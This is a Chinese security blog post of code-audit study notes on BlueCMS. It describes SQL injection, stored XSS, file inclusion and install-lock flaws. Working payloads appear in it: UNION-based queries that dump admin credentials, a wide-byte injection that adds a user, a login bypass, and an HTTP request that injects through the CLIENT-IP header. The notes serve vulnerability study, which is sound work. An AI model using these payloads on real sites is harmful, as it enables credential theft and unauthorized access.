BlueCMS审计学习笔记

2019-08-29 74831人围观 ,发现 2 个不明物体 WEB安全

这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。算是一个记录了我的学习心得,学习的过程的文章。

一.实践总结:

1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马;

2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马);

3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏;

4.但凡没有使用单引号的变量都可以绕过魔术引号的转译;

5.代码审计从有输入的地方入手。

二.思路总结

1.分析项目结构,分析配置文件(是否存在统一过滤)

2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量)

3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞

4.对个别文件进行通读(尤其注意有输入的地方)。如user.php

5.搜索危险函数

三.实践

分析项目结构:

/admin为后台管理员

/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件

/install安装

分析配置文件:

思路1:关键字$_GET,$_POST等搜索,看有无过滤

思路2:看主页index包含了哪些配置文件

common.inc.php

对配置文件进行审计,在include文件夹下common.inc.php文件中发现

存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)

*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip

1.可以重复安装

对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)

首先,对Install.lock全局搜索

发现install.lock文件的处理有逻辑错误

对应代码

代码分析

is_writeable()函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功

2.ad_js.php

按照配置文档的审计:统一过滤存在绕过问题

全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

跟踪$ad_id

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

getone函数

使用元数据表爆出表名

ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()

爆出字段

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

获取用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

3.ann.php

存在注入的两条语句

$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid);

$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);

getfirst()函数

*和getone()函数功能一样,均为执行查询只是返回值不同为变量

cid和ann_id被赋值过程

被intval处理过了,不能注入

备注:学习intval特性可能导致安全漏洞http://huaidan.org/archives/3047.html

同理无法注入的部分:

1.command.php里的两条sql

4.user.php

按照功能审计:支付功能

(1)act=pay时的文件包含漏洞

存在文件包含漏洞

漏洞利用BurpSuite抓包:

利用结合:头像上传,上传图片马然后执行

(2)@unlink(BLUE_ROOT.$_POST['face_pic3'])

5.article.php

6.user.php

按照功能审计:用户注册,登录,编辑个人资料

学习:https://www.freebuf.com/articles/web/203795.html?utm_source=tuicool&utm_medium=referral

(1)注册存在注入漏洞(SQL和XSS)

先黑盒测试注册抓包

然后再去审计工具找对应代码

没有对XSS的相关符号进行过滤。存在存储型XSS

注入后效果:

注册对应SQL语句

构建payload

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

其中(100,0×6162717765,md5(123456),(select database()),1,1)为创建的新用户,100为uid,十六进制为用户名

*补充知识:updatexml(),extractvalue()报错型SQL注入

https://blkstone.github.io/2017/11/09/updatexml-sqli/

(2)登录处存在注入漏洞(SQL和XSS)

黑盒+白盒审计能否无验证登录任意账户

首先黑盒测试抓包

白盒找变量处理对应代码

login函数

没有什么过滤。用万能密码登录测试

payload:

%df’) or 1=1#

(3)编辑个人资料

白盒至个人资料处,检查是否存在XSS漏洞。查看对应代码处

通注册一样的,email注入xss(其他字段长度受限)

(4)新闻添加处

对htmlspeciachars发现,descript和content没有进行过滤

filter_data函数

可以进行绕过的。正则表达式表示过滤掉除了<之外一切<>之间模式匹配的的内容(<和下一个字符没有空格才能被过滤掉)

mb_substr()函数获取字符串的一部分,

$descript = !empty($_POST['descript']) ?mb_substr($_POST['descript'], 0, 90) :mb_substr(html2text($_POST['content']),0, 90);

mb_substr($_POST['descript'], 0, 90)表示从0位置开始取90个长度。可以直接注入XSS

效果图如下

(5)用户头像处

https://www.zkaq.org/?t/159.html图片马的制作及菜刀的使用

https://fly8wo.github.io/2018/07/08/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E7%AE%80%E4%BB%8B%E5%8F%8A%E4%BD%BF%E7%94%A8/

7.comment.php

按照功能审计:评论

对评论处发现支持匿名评论

BurpSuite抓包如图,到comment.php下 寻找对应act=send处的代码

分析其中:

(1)SQL插入处没有过滤

(2)对comment部分的过滤有:htmlspecialchars

(3)ip获取处是getip()函数

*htmlspecialchars是将特殊字符转为html实体,如& ” ‘ < >

*nl2br是在加html的换行符的

查找其中getip()函数

可以利用X-FORWARDED_FOR控制ip传参(用sqlmap)

然后我把请求头保存至bluecms_1.txt中(如下)

POST /comment.php?act=send HTTP/1.1

Host: 192.168.1.134

CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer:http://192.168.1.134/comment.php?id=1&type=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 119

Connection: close

Cookie: PHPSESSID=fd016adb291716840e559d1873ecc817

Upgrade-Insecure-Requests: 1

mood=1&comment=%CF%CC%D3%E3%D3%E3&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB

#

成功注入图:

8.数据库备份处可以爆破地址

按照功能审计:数据库备份

直接黑盒测试功能审计,备份好数据库后,发现数据库名称直接是日期。尝试爆破地址

http://192.168.1.133/data/backup/20190629.sql

可以访问。爆出了管理员用户名密码

参考文章列表:

1.https://foxgrin.github.io/posts/52227/

2.https://www.freebuf.com/vuls/196190.html

3.https://www.freebuf.com/articles/web/203795.html

4.https://www.jianshu.com/p/49949a564e73

*本文作者:Aerial,转载请注明来自FreeBuf.COM

发表评论

已有 2 条评论

取消
Loading...
Aerial

这家伙太懒了,还未填写个人描述!

1 文章数 4 评论数

最近文章

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php